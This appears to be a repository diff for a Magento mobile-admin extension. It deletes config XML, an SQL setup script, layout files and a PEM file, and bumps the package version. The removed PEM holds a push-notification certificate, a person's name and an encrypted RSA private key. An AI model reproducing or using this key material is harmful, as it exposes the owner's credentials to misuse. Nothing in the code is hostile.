| 13 |
-
<frontend_type>text</frontend_type>
|
| 14 |
-
<sort_order>0</sort_order>
|
| 15 |
-
<show_in_default>1</show_in_default>
|
| 16 |
-
<show_in_website>1</show_in_website>
|
| 17 |
-
<show_in_store>1</show_in_store>
|
| 18 |
-
<groups>
|
| 19 |
-
<emizen_general translate="label">
|
| 20 |
-
<label>General</label>
|
| 21 |
-
<frontend_type>text</frontend_type>
|
| 22 |
-
<sort_order>0</sort_order>
|
| 23 |
-
<show_in_default>1</show_in_default>
|
| 24 |
-
<show_in_website>1</show_in_website>
|
| 25 |
-
<show_in_store>1</show_in_store>
|
| 26 |
-
<fields>
|
| 27 |
-
<enabled translate="label">
|
| 28 |
-
<label>Enabled</label>
|
| 29 |
-
<frontend_type>select</frontend_type>
|
| 30 |
-
<source_model>adminhtml/system_config_source_yesno</source_model>
|
| 31 |
-
<sort_order>0</sort_order>
|
| 32 |
-
<show_in_default>1</show_in_default>
|
| 33 |
-
<show_in_website>1</show_in_website>
|
| 34 |
-
<show_in_store>1</show_in_store>
|
| 35 |
-
<comment>Select Yes to enable this extension.</comment>
|
| 36 |
-
</enabled>
|
| 37 |
-
<emizen_noti translate="label">
|
| 38 |
-
<label>New Order Notification Message</label>
|
| 39 |
-
<frontend_type>text</frontend_type>
|
| 40 |
-
<sort_order>0</sort_order>
|
| 41 |
-
<show_in_default>1</show_in_default>
|
| 42 |
-
<show_in_website>1</show_in_website>
|
| 43 |
-
<show_in_store>1</show_in_store>
|
| 44 |
-
<comment>Enter your message which will be received on the Mobile app whenever a New Order is received.</comment>
|
| 45 |
-
</emizen_noti>
|
| 46 |
-
<emizen_register translate="label">
|
| 47 |
-
<label>New Customer Register Notification Message</label>
|
| 48 |
-
<frontend_type>text</frontend_type>
|
| 49 |
-
<sort_order>0</sort_order>
|
| 50 |
-
<show_in_default>1</show_in_default>
|
| 51 |
-
<show_in_website>1</show_in_website>
|
| 52 |
-
<show_in_store>1</show_in_store>
|
| 53 |
-
<comment>Enter your message which will be received on the Mobile app whenever a New Customer is registered.</comment>
|
| 54 |
-
</emizen_register>
|
| 55 |
-
</fields>
|
| 56 |
-
</emizen_general>
|
| 57 |
-
</groups>
|
| 58 |
-
</emizen_mob>
|
| 59 |
-
</sections>
|
| 60 |
-
</config>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/sql/mobileadmin_setup/mysql4-install-0.1.0.php
DELETED
|
@@ -1,29 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
|
| 3 |
-
|
| 4 |
-
$installer = $this;
|
| 5 |
-
|
| 6 |
-
$installer->startSetup();
|
| 7 |
-
|
| 8 |
-
$installer->run("
|
| 9 |
-
|
| 10 |
-
-- DROP TABLE IF EXISTS {$this->getTable('emizenmob')};
|
| 11 |
-
CREATE TABLE {$this->getTable('emizenmob')} (
|
| 12 |
-
`user_id` int(11) unsigned NOT NULL auto_increment,
|
| 13 |
-
`username` varchar(255) NOT NULL default '',
|
| 14 |
-
`firstname` varchar(255) NOT NULL default '',
|
| 15 |
-
`lastname` varchar(255) NOT NULL default '',
|
| 16 |
-
`email` varchar(255) NOT NULL default '',
|
| 17 |
-
`apikey` varchar(40) NOT NULL default '',
|
| 18 |
-
`device_token` varchar(255) NOT NULL default '',
|
| 19 |
-
`notification_flag` smallint(11) NOT NULL default '1',
|
| 20 |
-
PRIMARY KEY (`user_id`)
|
| 21 |
-
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
| 22 |
-
|
| 23 |
-
ALTER TABLE `{$installer->getTable('emizenmob')}` ADD `device_type` VARCHAR( 255 ) NOT NULL DEFAULT '',
|
| 24 |
-
ADD `is_logout` SMALLINT( 11 ) NOT NULL DEFAULT '0';
|
| 25 |
-
|
| 26 |
-
");
|
| 27 |
-
|
| 28 |
-
$installer->endSetup();
|
| 29 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/design/frontend/base/default/layout/mobileadmin.xml
DELETED
|
@@ -1,12 +0,0 @@
|
|
| 1 |
-
<?xml version="1.0"?>
|
| 2 |
-
<layout version="0.1.0">
|
| 3 |
-
<mobileadmin_index_index>
|
| 4 |
-
<reference name="root">
|
| 5 |
-
<action method="setTemplate"><template>page/1column.phtml</template></action>
|
| 6 |
-
</reference>
|
| 7 |
-
<reference name="content">
|
| 8 |
-
<block type="mobileadmin/index" name="mobileadmin_index" template="mobileadmin/index.phtml"/>
|
| 9 |
-
</reference>
|
| 10 |
-
</mobileadmin_index_index>
|
| 11 |
-
</layout>
|
| 12 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/design/frontend/base/default/template/mobileadmin/index.phtml
DELETED
|
@@ -1 +0,0 @@
|
|
| 1 |
-
Demo Page
|
|
|
app/etc/modules/EmizenTech_MobileAdmin.xml
DELETED
|
@@ -1,13 +0,0 @@
|
|
| 1 |
-
<?xml version="1.0"?>
|
| 2 |
-
<config>
|
| 3 |
-
<modules>
|
| 4 |
-
<EmizenTech_MobileAdmin>
|
| 5 |
-
<active>true</active>
|
| 6 |
-
<codePool>local</codePool>
|
| 7 |
-
<depends>
|
| 8 |
-
<Mage_Api />
|
| 9 |
-
</depends>
|
| 10 |
-
<version>0.1.0</version>
|
| 11 |
-
</EmizenTech_MobileAdmin>
|
| 12 |
-
</modules>
|
| 13 |
-
</config>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
lib/EmizenMobileAdmin/PushNotificationAppCertificateKey.pem
DELETED
|
@@ -1,66 +0,0 @@
|
|
| 1 |
-
-----BEGIN CERTIFICATE-----
|
| 2 |
-
MIIFjDCCBHSgAwIBAgIIBMCclD3pImgwDQYJKoZIhvcNAQEFBQAwgZYxCzAJBgNV
|
| 3 |
-
BAYTAlVTMRMwEQYDVQQKDApBcHBsZSBJbmMuMSwwKgYDVQQLD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ICATE-----
|
| 33 |
-
Bag Attributes
|
| 34 |
-
friendlyName: Virendra Sharma
|
| 35 |
-
localKeyID: 52 29 82 7A 9B 24 15 71 B6 65 25 3A DD B7 98 0E 22 D0 0B B8
|
| 36 |
-
Key Attributes: <No Attributes>
|
| 37 |
-
-----BEGIN RSA PRIVATE KEY-----
|
| 38 |
-
Proc-Type: 4,ENCRYPTED
|
| 39 |
-
DEK-Info: DES-EDE3-CBC,491CAC965ED99D8D
|
| 40 |
-
|
| 41 |
-
qzTFqm7eO+EP5wTpth8kXS7m63OhlMrzZOHOB7osvMcXzI0kYAFRj5spuXqHSJ33
|
| 42 |
-
OSGW/XNL6NgAPkMTm79Z69seD+4ZeujEIeKTIIviAKwzdjE7wowh95GCy1PA5VEd
|
| 43 |
-
DqfHcMYabjT3HByg7D7QKKljxp7bQe90lL0wUhLZX42O0RxYqV/HqVFbrBJRPAVH
|
| 44 |
-
I+NdRKXUcbNtDZ27KNobM8hbiPYsQrlfwLr9wAImJhVycEhPQm7QpAWg3HFNJFVf
|
| 45 |
-
rg5C7Z++moSMi3K1CFfT8ytFKSGjTWybTBqdu8Ee/a/04bSmAMy+AMXdVNepv823
|
| 46 |
-
PV1TuKsfNEJKBVVGzqjy00dzfNiKFVvMe3Z9N/JeI4sUedV92SP1ZsGepqdqUbVi
|
| 47 |
-
SQx+6HdyLB+/UzuPDLB95QPD2v9bVSKVnIMpXKbkBYCuPlJCLgwghFTSVealioEy
|
| 48 |
-
Q51E4d6I+1TpUUT17TMpYWc+9X2/bO1S2WAo+1jhf1vjUm3gNY76HFAR747NsRgE
|
| 49 |
-
NQL3f/BcZ9TZs88kwT7787tDUtc4Woqh8cHERE/NIaXFz9Jz3dobl35Lp6+s/Y1Z
|
| 50 |
-
bsnA5lBWxrAn2i7ndlkU02i1ledwyhUsSsW8mRlsXbx6NXLPxMQ5dE3EOdVStJLe
|
| 51 |
-
iHd5qkfWY92bna6XHmqbE4lEvNPhyiEXaLROD9fVQkA2z3S7dBqg0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A PRIVATE KEY-----
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
package.xml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
| 1 |
<?xml version="1.0"?>
|
| 2 |
<package>
|
| 3 |
<name>emizenmobileadmin</name>
|
| 4 |
-
<version>1.
|
| 5 |
<stability>stable</stability>
|
| 6 |
<license uri="http://opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
|
| 7 |
<channel>community</channel>
|
|
@@ -27,10 +27,10 @@ Features :
|
|
| 27 |
* Product Listing View With Details
|
| 28 |
* Store view Selection For Dashboard,
|
| 29 |
* Multistore Support</notes>
|
| 30 |
-
<authors><author><name>Emizen Tech Private Limited</name><user>
|
| 31 |
-
<date>
|
| 32 |
-
<time>11:
|
| 33 |
-
<contents><target name="mageetc"><dir name="modules"><file name="EmizenTech_MobileAdmin.xml" hash="
|
| 34 |
<compatible/>
|
| 35 |
<dependencies><required><php><min>5.1.0</min><max>6.0.0</max></php></required></dependencies>
|
| 36 |
</package>
|
| 1 |
<?xml version="1.0"?>
|
| 2 |
<package>
|
| 3 |
<name>emizenmobileadmin</name>
|
| 4 |
+
<version>1.2.0</version>
|
| 5 |
<stability>stable</stability>
|
| 6 |
<license uri="http://opensource.org/licenses/osl-3.0.php">OSL v3.0</license>
|
| 7 |
<channel>community</channel>
|
| 27 |
* Product Listing View With Details
|
| 28 |
* Store view Selection For Dashboard,
|
| 29 |
* Multistore Support</notes>
|
| 30 |
+
<authors><author><name>Emizen Tech Private Limited</name><user>emizentech</user><email>info@emizentech.com</email></author></authors>
|
| 31 |
+
<date>2016-02-01</date>
|
| 32 |
+
<time>11:39:12</time>
|
| 33 |
+
<contents><target name="mageetc"><dir name="modules"><file name="EmizenTech_MobileAdmin.xml" hash=""/></dir></target><target name="magedesign"><dir name="frontend"><dir name="base"><dir name="default"><dir name="layout"><file name="mobileadmin.xml" hash=""/></dir></dir></dir></dir></target></contents>
|
| 34 |
<compatible/>
|
| 35 |
<dependencies><required><php><min>5.1.0</min><max>6.0.0</max></php></required></dependencies>
|
| 36 |
</package>
|
